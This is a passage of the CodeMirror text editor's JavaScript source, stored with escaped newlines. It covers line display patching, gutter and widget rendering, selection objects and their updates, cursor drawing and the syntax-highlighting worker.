the\n  // given line.\n  function updateWidgetHeight(line) {\n    if (line.widgets) for (var i = 0; i < line.widgets.length; ++i)\n      line.widgets[i].height = line.widgets[i].node.offsetHeight;\n  }\n\n  // Do a bulk-read of the DOM positions and sizes needed to draw the\n  // view, so that we don't interleave reading and writing to the DOM.\n  function getDimensions(cm) {\n    var d = cm.display, left = {}, width = {};\n    for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {\n      left[cm.options.gutters[i]] = n.offsetLeft;\n      width[cm.options.gutters[i]] = n.offsetWidth;\n    }\n    return {fixedPos: compensateForHScroll(d),\n            gutterTotalWidth: d.gutters.offsetWidth,\n            gutterLeft: left,\n            gutterWidth: width,\n            wrapperWidth: d.wrapper.clientWidth};\n  }\n\n  // Sync the actual display DOM structure with display.view, removing\n  // nodes for lines that are no longer in view, and creating the ones\n  // that are not there yet, and updating the ones that are out of\n  // date.\n  function patchDisplay(cm, updateNumbersFrom, dims) {\n    var display = cm.display, lineNumbers = cm.options.lineNumbers;\n    var container = display.lineDiv, cur = container.firstChild;\n\n    function rm(node) {\n      var next = node.nextSibling;\n      // Works around a throw-scroll bug in OS X Webkit\n      if (webkit && mac && cm.display.currentWheelTarget == node)\n        node.style.display = \"none\";\n      else\n        node.parentNode.removeChild(node);\n      return next;\n    }\n\n    var view = display.view, lineN = display.viewFrom;\n    // Loop over the elements in the view, syncing cur (the DOM nodes\n    // in display.lineDiv) with the view as we go.\n    for (var i = 0; i < view.length; i++) {\n      var lineView = view[i];\n      if (lineView.hidden) {\n      } else if (!lineView.node) { // Not drawn yet\n        var node = buildLineElement(cm, lineView, lineN, dims);\n        container.insertBefore(node, cur);\n      } else { // Already drawn\n        while (cur != lineView.node) cur = rm(cur);\n        var updateNumber = lineNumbers && updateNumbersFrom != null &&\n          updateNumbersFrom <= lineN && lineView.lineNumber;\n        if (lineView.changes) {\n          if (indexOf(lineView.changes, \"gutter\") > -1) updateNumber = false;\n          updateLineForChanges(cm, lineView, lineN, dims);\n        }\n        if (updateNumber) {\n          removeChildren(lineView.lineNumber);\n          lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));\n        }\n        cur = lineView.node.nextSibling;\n      }\n      lineN += lineView.size;\n    }\n    while (cur) cur = rm(cur);\n  }\n\n  // When an aspect of a line changes, a string is added to\n  // lineView.changes. This updates the relevant part of the line's\n  // DOM structure.\n  function updateLineForChanges(cm, lineView, lineN, dims) {\n    for (var j = 0; j < lineView.changes.length; j++) {\n      var type = lineView.changes[j];\n      if (type == \"text\") updateLineText(cm, lineView);\n      else if (type == \"gutter\") updateLineGutter(cm, lineView, lineN, dims);\n      else if (type == \"class\") updateLineClasses(lineView);\n      else if (type == \"widget\") updateLineWidgets(lineView, dims);\n    }\n    lineView.changes = null;\n  }\n\n  // Lines with gutter elements, widgets or a background class need to\n  // be wrapped, and have the extra elements added to the wrapper div\n  function ensureLineWrapped(lineView) {\n    if (lineView.node == lineView.text) {\n      lineView.node = elt(\"div\", null, null, \"position: relative\");\n      if (lineView.text.parentNode)\n        lineView.text.parentNode.replaceChild(lineView.node, lineView.text);\n      lineView.node.appendChild(lineView.text);\n      if (ie && ie_version < 8) lineView.node.style.zIndex = 2;\n    }\n    return lineView.node;\n  }\n\n  function updateLineBackground(lineView) {\n    var cls = lineView.bgClass ? lineView.bgClass + \" \" + (lineView.line.bgClass || \"\") : lineView.line.bgClass;\n    if (cls) cls += \" CodeMirror-linebackground\";\n    if (lineView.background) {\n      if (cls) lineView.background.className = cls;\n      else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }\n    } else if (cls) {\n      var wrap = ensureLineWrapped(lineView);\n      lineView.background = wrap.insertBefore(elt(\"div\", null, cls), wrap.firstChild);\n    }\n  }\n\n  // Wrapper around buildLineContent which will reuse the structure\n  // in display.externalMeasured when possible.\n  function getLineContent(cm, lineView) {\n    var ext = cm.display.externalMeasured;\n    if (ext && ext.line == lineView.line) {\n      cm.display.externalMeasured = null;\n      lineView.measure = ext.measure;\n      return ext.built;\n    }\n    return buildLineContent(cm, lineView);\n  }\n\n  // Redraw the line's text. Interacts with the background and text\n  // classes because the mode may output tokens that influence these\n  // classes.\n  function updateLineText(cm, lineView) {\n    var cls = lineView.text.className;\n    var built = getLineContent(cm, lineView);\n    if (lineView.text == lineView.node) lineView.node = built.pre;\n    lineView.text.parentNode.replaceChild(built.pre, lineView.text);\n    lineView.text = built.pre;\n    if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {\n      lineView.bgClass = built.bgClass;\n      lineView.textClass = built.textClass;\n      updateLineClasses(lineView);\n    } else if (cls) {\n      lineView.text.className = cls;\n    }\n  }\n\n  function updateLineClasses(lineView) {\n    updateLineBackground(lineView);\n    if (lineView.line.wrapClass)\n      ensureLineWrapped(lineView).className = lineView.line.wrapClass;\n    else if (lineView.node != lineView.text)\n      lineView.node.className = \"\";\n    var textClass = lineView.textClass ? lineView.textClass + \" \" + (lineView.line.textClass || \"\") : lineView.line.textClass;\n    lineView.text.className = textClass || \"\";\n  }\n\n  function updateLineGutter(cm, lineView, lineN, dims) {\n    if (lineView.gutter) {\n      lineView.node.removeChild(lineView.gutter);\n      lineView.gutter = null;\n    }\n    var markers = lineView.line.gutterMarkers;\n    if (cm.options.lineNumbers || markers) {\n      var wrap = ensureLineWrapped(lineView);\n      var gutterWrap = lineView.gutter =\n        wrap.insertBefore(elt(\"div\", null, \"CodeMirror-gutter-wrapper\", \"position: absolute; left: \" +\n                              (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + \"px\"),\n                          lineView.text);\n      if (cm.options.lineNumbers && (!markers || !markers[\"CodeMirror-linenumbers\"]))\n        lineView.lineNumber = gutterWrap.appendChild(\n          elt(\"div\", lineNumberFor(cm.options, lineN),\n              \"CodeMirror-linenumber CodeMirror-gutter-elt\",\n              \"left: \" + dims.gutterLeft[\"CodeMirror-linenumbers\"] + \"px; width: \"\n              + cm.display.lineNumInnerWidth + \"px\"));\n      if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) {\n        var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];\n        if (found)\n          gutterWrap.appendChild(elt(\"div\", [found], \"CodeMirror-gutter-elt\", \"left: \" +\n                                     dims.gutterLeft[id] + \"px; width: \" + dims.gutterWidth[id] + \"px\"));\n      }\n    }\n  }\n\n  function updateLineWidgets(lineView, dims) {\n    if (lineView.alignable) lineView.alignable = null;\n    for (var node = lineView.node.firstChild, next; node; node = next) {\n      var next = node.nextSibling;\n      if (node.className == \"CodeMirror-linewidget\")\n        lineView.node.removeChild(node);\n    }\n    insertLineWidgets(lineView, dims);\n  }\n\n  // Build a line's DOM representation from scratch\n  function buildLineElement(cm, lineView, lineN, dims) {\n    var built = getLineContent(cm, lineView);\n    lineView.text = lineView.node = built.pre;\n    if (built.bgClass) lineView.bgClass = built.bgClass;\n    if (built.textClass) lineView.textClass = built.textClass;\n\n    updateLineClasses(lineView);\n    updateLineGutter(cm, lineView, lineN, dims);\n    insertLineWidgets(lineView, dims);\n    return lineView.node;\n  }\n\n  // A lineView may contain multiple logical lines (when merged by\n  // collapsed spans). The widgets for all of them need to be drawn.\n  function insertLineWidgets(lineView, dims) {\n    insertLineWidgetsFor(lineView.line, lineView, dims, true);\n    if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)\n      insertLineWidgetsFor(lineView.rest[i], lineView, dims, false);\n  }\n\n  function insertLineWidgetsFor(line, lineView, dims, allowAbove) {\n    if (!line.widgets) return;\n    var wrap = ensureLineWrapped(lineView);\n    for (var i = 0, ws = line.widgets; i < ws.length; ++i) {\n      var widget = ws[i], node = elt(\"div\", [widget.node], \"CodeMirror-linewidget\");\n      if (!widget.handleMouseEvents) node.ignoreEvents = true;\n      positionLineWidget(widget, node, lineView, dims);\n      if (allowAbove && widget.above)\n        wrap.insertBefore(node, lineView.gutter || lineView.text);\n      else\n        wrap.appendChild(node);\n      signalLater(widget, \"redraw\");\n    }\n  }\n\n  function positionLineWidget(widget, node, lineView, dims) {\n    if (widget.noHScroll) {\n      (lineView.alignable || (lineView.alignable = [])).push(node);\n      var width = dims.wrapperWidth;\n      node.style.left = dims.fixedPos + \"px\";\n      if (!widget.coverGutter) {\n        width -= dims.gutterTotalWidth;\n        node.style.paddingLeft = dims.gutterTotalWidth + \"px\";\n      }\n      node.style.width = width + \"px\";\n    }\n    if (widget.coverGutter) {\n      node.style.zIndex = 5;\n      node.style.position = \"relative\";\n      if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + \"px\";\n    }\n  }\n\n  // POSITION OBJECT\n\n  // A Pos instance represents a position within the text.\n  var Pos = CodeMirror.Pos = function(line, ch) {\n    if (!(this instanceof Pos)) return new Pos(line, ch);\n    this.line = line; this.ch = ch;\n  };\n\n  // Compare two positions, return 0 if they are the same, a negative\n  // number when a is less, and a positive number otherwise.\n  var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; };\n\n  function copyPos(x) {return Pos(x.line, x.ch);}\n  function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; }\n  function minPos(a, b) { return cmp(a, b) < 0 ? a : b; }\n\n  // SELECTION / CURSOR\n\n  // Selection objects are immutable. A new one is created every time\n  // the selection changes. A selection is one or more non-overlapping\n  // (and non-touching) ranges, sorted, and an integer that indicates\n  // which one is the primary selection (the one that's scrolled into\n  // view, that getCursor returns, etc).\n  function Selection(ranges, primIndex) {\n    this.ranges = ranges;\n    this.primIndex = primIndex;\n  }\n\n  Selection.prototype = {\n    primary: function() { return this.ranges[this.primIndex]; },\n    equals: function(other) {\n      if (other == this) return true;\n      if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false;\n      for (var i = 0; i < this.ranges.length; i++) {\n        var here = this.ranges[i], there = other.ranges[i];\n        if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false;\n      }\n      return true;\n    },\n    deepCopy: function() {\n      for (var out = [], i = 0; i < this.ranges.length; i++)\n        out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head));\n      return new Selection(out, this.primIndex);\n    },\n    somethingSelected: function() {\n      for (var i = 0; i < this.ranges.length; i++)\n        if (!this.ranges[i].empty()) return true;\n      return false;\n    },\n    contains: function(pos, end) {\n      if (!end) end = pos;\n      for (var i = 0; i < this.ranges.length; i++) {\n        var range = this.ranges[i];\n        if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)\n          return i;\n      }\n      return -1;\n    }\n  };\n\n  function Range(anchor, head) {\n    this.anchor = anchor; this.head = head;\n  }\n\n  Range.prototype = {\n    from: function() { return minPos(this.anchor, this.head); },\n    to: function() { return maxPos(this.anchor, this.head); },\n    empty: function() {\n      return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch;\n    }\n  };\n\n  // Take an unsorted, potentially overlapping set of ranges, and\n  // build a selection out of it. 'Consumes' ranges array (modifying\n  // it).\n  function normalizeSelection(ranges, primIndex) {\n    var prim = ranges[primIndex];\n    ranges.sort(function(a, b) { return cmp(a.from(), b.from()); });\n    primIndex = indexOf(ranges, prim);\n    for (var i = 1; i < ranges.length; i++) {\n      var cur = ranges[i], prev = ranges[i - 1];\n      if (cmp(prev.to(), cur.from()) >= 0) {\n        var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());\n        var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;\n        if (i <= primIndex) --primIndex;\n        ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));\n      }\n    }\n    return new Selection(ranges, primIndex);\n  }\n\n  function simpleSelection(anchor, head) {\n    return new Selection([new Range(anchor, head || anchor)], 0);\n  }\n\n  // Most of the external API clips given positions to make sure they\n  // actually exist within the document.\n  function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));}\n  function clipPos(doc, pos) {\n    if (pos.line < doc.first) return Pos(doc.first, 0);\n    var last = doc.first + doc.size - 1;\n    if (pos.line > last) return Pos(last, getLine(doc, last).text.length);\n    return clipToLen(pos, getLine(doc, pos.line).text.length);\n  }\n  function clipToLen(pos, linelen) {\n    var ch = pos.ch;\n    if (ch == null || ch > linelen) return Pos(pos.line, linelen);\n    else if (ch < 0) return Pos(pos.line, 0);\n    else return pos;\n  }\n  function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;}\n  function clipPosArray(doc, array) {\n    for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]);\n    return out;\n  }\n\n  // SELECTION UPDATES\n\n  // The 'scroll' parameter given to many of these indicated whether\n  // the new cursor position should be scrolled into view after\n  // modifying the selection.\n\n  // If shift is held or the extend flag is set, extends a range to\n  // include a given position (and optionally a second position).\n  // Otherwise, simply returns the range between the given positions.\n  // Used for cursor motion and such.\n  function extendRange(doc, range, head, other) {\n    if (doc.cm && doc.cm.display.shift || doc.extend) {\n      var anchor = range.anchor;\n      if (other) {\n        var posBefore = cmp(head, anchor) < 0;\n        if (posBefore != (cmp(other, anchor) < 0)) {\n          anchor = head;\n          head = other;\n        } else if (posBefore != (cmp(head, other) < 0)) {\n          head = other;\n        }\n      }\n      return new Range(anchor, head);\n    } else {\n      return new Range(other || head, head);\n    }\n  }\n\n  // Extend the primary selection range, discard the rest.\n  function extendSelection(doc, head, other, options) {\n    setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options);\n  }\n\n  // Extend all selections (pos is an array of selections with length\n  // equal the number of selections)\n  function extendSelections(doc, heads, options) {\n    for (var out = [], i = 0; i < doc.sel.ranges.length; i++)\n      out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null);\n    var newSel = normalizeSelection(out, doc.sel.primIndex);\n    setSelection(doc, newSel, options);\n  }\n\n  // Updates a single range in the selection.\n  function replaceOneSelection(doc, i, range, options) {\n    var ranges = doc.sel.ranges.slice(0);\n    ranges[i] = range;\n    setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);\n  }\n\n  // Reset the selection to a single range.\n  function setSimpleSelection(doc, anchor, head, options) {\n    setSelection(doc, simpleSelection(anchor, head), options);\n  }\n\n  // Give beforeSelectionChange handlers a change to influence a\n  // selection update.\n  function filterSelectionChange(doc, sel) {\n    var obj = {\n      ranges: sel.ranges,\n      update: function(ranges) {\n        this.ranges = [];\n        for (var i = 0; i < ranges.length; i++)\n          this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),\n                                     clipPos(doc, ranges[i].head));\n      }\n    };\n    signal(doc, \"beforeSelectionChange\", doc, obj);\n    if (doc.cm) signal(doc.cm, \"beforeSelectionChange\", doc.cm, obj);\n    if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1);\n    else return sel;\n  }\n\n  function setSelectionReplaceHistory(doc, sel, options) {\n    var done = doc.history.done, last = lst(done);\n    if (last && last.ranges) {\n      done[done.length - 1] = sel;\n      setSelectionNoUndo(doc, sel, options);\n    } else {\n      setSelection(doc, sel, options);\n    }\n  }\n\n  // Set a new selection.\n  function setSelection(doc, sel, options) {\n    setSelectionNoUndo(doc, sel, options);\n    addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);\n  }\n\n  function setSelectionNoUndo(doc, sel, options) {\n    if (hasHandler(doc, \"beforeSelectionChange\") || doc.cm && hasHandler(doc.cm, \"beforeSelectionChange\"))\n      sel = filterSelectionChange(doc, sel);\n\n    var bias = options && options.bias ||\n      (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);\n    setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));\n\n    if (!(options && options.scroll === false) && doc.cm)\n      ensureCursorVisible(doc.cm);\n  }\n\n  function setSelectionInner(doc, sel) {\n    if (sel.equals(doc.sel)) return;\n\n    doc.sel = sel;\n\n    if (doc.cm) {\n      doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;\n      signalCursorActivity(doc.cm);\n    }\n    signalLater(doc, \"cursorActivity\", doc);\n  }\n\n  // Verify that the selection does not partially select any atomic\n  // marked ranges.\n  function reCheckSelection(doc) {\n    setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll);\n  }\n\n  // Return a selection that does not partially select any atomic\n  // ranges.\n  function skipAtomicInSelection(doc, sel, bias, mayClear) {\n    var out;\n    for (var i = 0; i < sel.ranges.length; i++) {\n      var range = sel.ranges[i];\n      var newAnchor = skipAtomic(doc, range.anchor, bias, mayClear);\n      var newHead = skipAtomic(doc, range.head, bias, mayClear);\n      if (out || newAnchor != range.anchor || newHead != range.head) {\n        if (!out) out = sel.ranges.slice(0, i);\n        out[i] = new Range(newAnchor, newHead);\n      }\n    }\n    return out ? normalizeSelection(out, sel.primIndex) : sel;\n  }\n\n  // Ensure a given position is not inside an atomic range.\n  function skipAtomic(doc, pos, bias, mayClear) {\n    var flipped = false, curPos = pos;\n    var dir = bias || 1;\n    doc.cantEdit = false;\n    search: for (;;) {\n      var line = getLine(doc, curPos.line);\n      if (line.markedSpans) {\n        for (var i = 0; i < line.markedSpans.length; ++i) {\n          var sp = line.markedSpans[i], m = sp.marker;\n          if ((sp.from == null || (m.inclusiveLeft ? sp.from <= curPos.ch : sp.from < curPos.ch)) &&\n              (sp.to == null || (m.inclusiveRight ? sp.to >= curPos.ch : sp.to > curPos.ch))) {\n            if (mayClear) {\n              signal(m, \"beforeCursorEnter\");\n              if (m.explicitlyCleared) {\n                if (!line.markedSpans) break;\n                else {--i; continue;}\n              }\n            }\n            if (!m.atomic) continue;\n            var newPos = m.find(dir < 0 ? -1 : 1);\n            if (cmp(newPos, curPos) == 0) {\n              newPos.ch += dir;\n              if (newPos.ch < 0) {\n                if (newPos.line > doc.first) newPos = clipPos(doc, Pos(newPos.line - 1));\n                else newPos = null;\n              } else if (newPos.ch > line.text.length) {\n                if (newPos.line < doc.first + doc.size - 1) newPos = Pos(newPos.line + 1, 0);\n                else newPos = null;\n              }\n              if (!newPos) {\n                if (flipped) {\n                  // Driven in a corner -- no valid cursor position found at all\n                  // -- try again *with* clearing, if we didn't already\n                  if (!mayClear) return skipAtomic(doc, pos, bias, true);\n                  // Otherwise, turn off editing until further notice, and return the start of the doc\n                  doc.cantEdit = true;\n                  return Pos(doc.first, 0);\n                }\n                flipped = true; newPos = pos; dir = -dir;\n              }\n            }\n            curPos = newPos;\n            continue search;\n          }\n        }\n      }\n      return curPos;\n    }\n  }\n\n  // SELECTION DRAWING\n\n  // Redraw the selection and/or cursor\n  function drawSelection(cm) {\n    var display = cm.display, doc = cm.doc, result = {};\n    var curFragment = result.cursors = document.createDocumentFragment();\n    var selFragment = result.selection = document.createDocumentFragment();\n\n    for (var i = 0; i < doc.sel.ranges.length; i++) {\n      var range = doc.sel.ranges[i];\n      var collapsed = range.empty();\n      if (collapsed || cm.options.showCursorWhenSelecting)\n        drawSelectionCursor(cm, range, curFragment);\n      if (!collapsed)\n        drawSelectionRange(cm, range, selFragment);\n    }\n\n    // Move the hidden textarea near the cursor to prevent scrolling artifacts\n    if (cm.options.moveInputWithCursor) {\n      var headPos = cursorCoords(cm, doc.sel.primary().head, \"div\");\n      var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();\n      result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,\n                                          headPos.top + lineOff.top - wrapOff.top));\n      result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,\n                                           headPos.left + lineOff.left - wrapOff.left));\n    }\n\n    return result;\n  }\n\n  function showSelection(cm, drawn) {\n    removeChildrenAndAdd(cm.display.cursorDiv, drawn.cursors);\n    removeChildrenAndAdd(cm.display.selectionDiv, drawn.selection);\n    if (drawn.teTop != null) {\n      cm.display.inputDiv.style.top = drawn.teTop + \"px\";\n      cm.display.inputDiv.style.left = drawn.teLeft + \"px\";\n    }\n  }\n\n  function updateSelection(cm) {\n    showSelection(cm, drawSelection(cm));\n  }\n\n  // Draws a cursor for the given range\n  function drawSelectionCursor(cm, range, output) {\n    var pos = cursorCoords(cm, range.head, \"div\", null, null, !cm.options.singleCursorHeightPerLine);\n\n    var cursor = output.appendChild(elt(\"div\", \"\\u00a0\", \"CodeMirror-cursor\"));\n    cursor.style.left = pos.left + \"px\";\n    cursor.style.top = pos.top + \"px\";\n    cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + \"px\";\n\n    if (pos.other) {\n      // Secondary cursor, shown when on a 'jump' in bi-directional text\n      var otherCursor = output.appendChild(elt(\"div\", \"\\u00a0\", \"CodeMirror-cursor CodeMirror-secondarycursor\"));\n      otherCursor.style.display = \"\";\n      otherCursor.style.left = pos.other.left + \"px\";\n      otherCursor.style.top = pos.other.top + \"px\";\n      otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + \"px\";\n    }\n  }\n\n  // Draws the given range as a highlighted selection\n  function drawSelectionRange(cm, range, output) {\n    var display = cm.display, doc = cm.doc;\n    var fragment = document.createDocumentFragment();\n    var padding = paddingH(cm.display), leftSide = padding.left, rightSide = display.lineSpace.offsetWidth - padding.right;\n\n    function add(left, top, width, bottom) {\n      if (top < 0) top = 0;\n      top = Math.round(top);\n      bottom = Math.round(bottom);\n      fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", \"position: absolute; left: \" + left +\n                               \"px; top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) +\n                               \"px; height: \" + (bottom - top) + \"px\"));\n    }\n\n    function drawForLine(line, fromArg, toArg) {\n      var lineObj = getLine(doc, line);\n      var lineLen = lineObj.text.length;\n      var start, end;\n      function coords(ch, bias) {\n        return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias);\n      }\n\n      iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) {\n        var leftPos = coords(from, \"left\"), rightPos, left, right;\n        if (from == to) {\n          rightPos = leftPos;\n          left = right = leftPos.left;\n        } else {\n          rightPos = coords(to - 1, \"right\");\n          if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n          left = leftPos.left;\n          right = rightPos.right;\n        }\n        if (fromArg == null && from == 0) left = leftSide;\n        if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n          add(left, leftPos.top, null, leftPos.bottom);\n          left = leftSide;\n          if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top);\n        }\n        if (toArg == null && to == lineLen) right = rightSide;\n        if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n          start = leftPos;\n        if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n          end = rightPos;\n        if (left < leftSide + 1) left = leftSide;\n        add(left, rightPos.top, right - left, rightPos.bottom);\n      });\n      return {start: start, end: end};\n    }\n\n    var sFrom = range.from(), sTo = range.to();\n    if (sFrom.line == sTo.line) {\n      drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n    } else {\n      var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n      var singleVLine = visualLine(fromLine) == visualLine(toLine);\n      var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n      var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n      if (singleVLine) {\n        if (leftEnd.top < rightStart.top - 2) {\n          add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n          add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n        } else {\n          add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n        }\n      }\n      if (leftEnd.bottom < rightStart.top)\n        add(leftSide, leftEnd.bottom, null, rightStart.top);\n    }\n\n    output.appendChild(fragment);\n  }\n\n  // Cursor-blinking\n  function restartBlink(cm) {\n    if (!cm.state.focused) return;\n    var display = cm.display;\n    clearInterval(display.blinker);\n    var on = true;\n    display.cursorDiv.style.visibility = \"\";\n    if (cm.options.cursorBlinkRate > 0)\n      display.blinker = setInterval(function() {\n        display.cursorDiv.style.visibility = (on = !on) ? \"\" : \"hidden\";\n      }, cm.options.cursorBlinkRate);\n    else if (cm.options.cursorBlinkRate < 0)\n      display.cursorDiv.style.visibility = \"hidden\";\n  }\n\n  // HIGHLIGHT WORKER\n\n  function startWorker(cm, time) {\n    if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo)\n      cm.state.highlight.set(time, bind(highlightWorker, cm));\n  }\n\n  function highlightWorker(cm) {\n    var doc = cm.doc;\n    if (doc.frontier < doc.first) doc.frontier = doc.first;\n    if (doc.frontier >= cm.display.viewTo) return;\n    var end = +new Date + cm.options.workTime;\n    var state = copyState(doc.mode, getStateBefore(cm, doc.frontier));\n    var changedLines = [];\n\n    doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) {\n      if (doc.frontier >= cm.display.viewFrom) { // Visible\n        var oldStyles = line.styles;\n        var highlighted = highlightLine(cm, line, state, true);\n        line.styles = highlighted.styles;\n        var oldCls = line.styleClasses, newCls = highlighted.classes;\n        if (newCls) line.styleClasses = newCls;\n        else if (oldCls) line.styleClasses = null;\n        var ischange = !oldStyles || oldStyles.length != line.styles.length ||\n          oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);\n        for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i];\n        if (ischange) changedLines.push(doc.frontier);\n        line.stateAfter = copyState(doc.mode, state);\n      } else {\n        processLine(cm, line.text, state);\n        line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null;\n      }\n      ++doc.frontier;\n      if (+new Date > end) {\n        startWorker(cm, cm.options.workDelay);\n        return true;\n      }\n    });\n    if (changedLines.length) runInOp(cm, function() {\n      for (var i = 0; i < changedLines.length; i++)\n        regLineChange(cm, changedLines[i], \"text\");\n    });\n  }\n\n  // Finds the line to start with when starting a parse. Tries to\n  // find a line with a stateAfter, so that it can start with a\n  // valid state. If that fails, it returns the line with the\n  // smallest indentation, which tends to need the least context to\n  // parse correctly.\n  function findStartLine(cm, n, precise) {\n    var minindent, minline, doc = cm.doc;\n    var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);\n    for (var search = n; search > lim; --search) {\n      if (search <= doc.first) return doc.first;\n      var line = getLine(doc, search - 1);\n      if (line.stateAfter && (!precise || search <= doc.frontier)) return search;\n      var indented = countColumn(line.text, null, cm.options.tabSize);\n      if (minline == null || minindent > indented) {\n        minline = search - 1;\n        minindent = indented;\n      }\n    }\n    return minline;\n  }\n\n  function getStateBefore(cm, n, precise) {\n    var doc = cm.doc, display = cm.display;\n    if (!doc.mode.startState) return true;\n    var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter;\n    if (!state) state = startState(doc.mode);\n    else state = copyState(doc.mode, state);\n    doc.iter(pos, n, function(line) {\n      processLine(cm, line.text, state);\n      var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo;\n      line.stateAfter = save ? copyState(doc.mode, state) : null;\n      ++pos;\n    });\n    if (precise) doc.frontier = pos;\n    return state;\n  }\n\n  // POSITION MEASUREMENT\n\n  function paddingTop(display) {return display.lineSpace.offsetTop;}\n  function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;}\n  function paddingH(display) {\n    if (display.cachedPaddingH) return display.cachedPaddingH;\n    var e = removeChildrenAndAdd(display.measure, elt(\"pre\", \"x\"));\n    var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;\n    var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};\n    if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data;\n    return data;\n  }\n\n  // Ensure the lineView.wrapping.heights array is populated. This is\n  // an array of bottom offsets for the lines that make up a drawn\n  // line. When lineWrapping is on, there might be more than one\n  // height.\n  function ensureLineHeights(cm, lineView, rect) {\n    var wrapping = cm.options.lineWrapping;\n    var curWidth = wrapping && cm.display.scroller.clientWidth;\n    if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {\n      var heights = lineView.measure.heights = [];\n      if (wrapping) {\n        lineView.measure.width = curWidth;\n        var rects = lineView.text.firstChild.getClientRects();\n        for (var i = 0; i < rects.length - 1; i++) {\n          var cur = rects[i], next = rects[i + 1];\n          if (Math.abs(cur.bottom - next.bottom) > 2)\n            heights.push((cur.bottom + next.top) / 2 - rect.top);\n        }\n      }\n      heights.push(rect.bottom - rect.top);\n    }\n  }\n\n  // Find a line map (mapping character offsets to text nodes) and a\n  // measurement cache for the given line number. (A line view might\n  // contain multiple lines when collapsed ranges are present.)\n  function mapFromLineView(lineView, line, lineN) {\n    if (lineView.line == line)\n      return {map: lineView.measure.map, cache: lineView.measure.cache};\n    for (var i = 0; i < lineView.rest.length; i++)\n      if (lineView.rest[i] == line)\n        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]};\n    for (var i = 0; i < lineView.rest.length; i++)\n      if (lineNo(lineView.rest[i]) > lineN)\n        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true};\n  }\n\n  // Render a line into the hidden node display.externalMeasured. Used\n  // when measurement is needed for a line that's not in the viewport.\n  function updateExternalMeasurement(cm, line) {\n    line = visualLine(line);\n    var lineN = lineNo(line);\n    var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);\n    view.lineN = lineN;\n    var built = view.built = buildLineContent(cm, view);\n    view.text = built.pre;\n    